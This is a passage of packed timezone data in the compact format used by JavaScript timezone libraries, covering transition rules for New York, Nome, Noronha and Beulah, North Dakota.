1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|65e5","America/New_York|LMT EST EDT EWT EPT|4U.2 50 40 40 40|012121212121212121212121212121212121212121212121213412121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tFH0 1nEe0 1nX0 11B0 1nX0 11B0 1qL0 1a10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 RB0 8x40 iv0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|21e6","America/Nome|LMT LMT NST NWT NPT BST BDT YST AKST AKDT|-cW.m b1.C b0 a0 a0 b0 a0 90 90 80|01234256565656565656565656565656565678989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898989898|-48Pzs.L 1jVyu.p 1EX1W.m 8wW0 iB0 Qlb0 52O0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 cl0 10q0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|38e2","America/Noronha|LMT -02 -01|29.E 20 10|0121212121212121212121212121212121212121|-2glxO.k HdKO.k 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 nsp0 WL0 1tB0 2L0 2pB0 On0|30e2","America/North_Dakota/Beulah|LMT MST MDT MWT MPT CST CDT|6L.7 70 60 60 60 60 50|012121341212121212121212121212121212121212121212121212121212121212121212121212121212121212121212565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFF0 1nEe0 1nX0 11B0 1nX0 SgN0 8x20 ix0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Oo0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 